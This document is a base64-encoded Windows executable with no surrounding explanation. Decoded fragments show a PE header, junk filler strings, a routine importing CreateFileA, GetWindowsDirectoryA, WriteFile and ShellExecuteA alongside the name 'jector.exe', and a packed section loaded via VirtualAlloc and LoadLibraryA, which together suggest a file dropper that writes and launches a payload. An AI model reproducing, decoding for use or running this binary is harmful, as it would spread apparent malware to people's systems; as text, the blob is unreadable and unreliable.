dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAADFNQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoa2xrO2xramxrZ2poa2xqZ3l0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdm aHRoaGpra2pramdoa3Vqb3VpbGhqa2poeWt1aGtmaHRkZmh0cmpnamh5cmZodHJ0anlydHJ0 aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNlZ3JkcmVkaGZ5anJ0aGpnZmRmZHN5dHJ5cnRo ZmdiZmdoZ2draGxqa2ZoaG1mY2dmaGdoamtqbGZoZ2pramdmc2RnaGpqaGZnZmdqanV0eWl5 dWlpaXl0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdmaHRoaGpra2pramdoa3VpdXlk ZnVqdHlrZ2pkc3dldHRlaGZnaGpnaHVneWpmZ2hmZ2h0cnRqeXJ0cnRocnR5ZWh0ZWVyZWRn ZmRoZmRoZ2RodGRoc2VncmRyZWRoZnlqcnRoamcAeBQAAAAAAAAAAAAAEBUAAJgUAACQFAAA AAAAAAAAAAAuFQAAsBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxBQAANIUAADgFAAA+BQAAAQV AAAAAAAAHhUAAAAAAADEFAAA0hQAAOAUAAD4FAAABBUAAAAAAAAeFQAAAAAAAHVzZXIzMi5k bGwAABoAQ2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlB AACeAldyaXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRl QQBzaGVsbDMyLmRsbAAAAAAAAABVi+yDfQwBdUhoAAQAAGggFgAQ6KIAAAAzwmhhEgAQaCAW ABDonQAAAEFoIBYAEOgmAAAAC8B0GffQagBqAGoAaCAWABBoABAAEGoA6HsAAAC4AQAAAMnC DABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI6DkAAACQiUX4QHQjM8K+ADAAEK2SagCN RfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIEAMz/JZgUABD/JZwUABD/JaAUABD/JaQU ABD/JagUABD/JbAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAATzVbNWA1azWBNYY18DX2Nfw1AjYINg42 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZlQAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAIL8AAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJyiAADRAAAAAPAAAIIMAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ 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 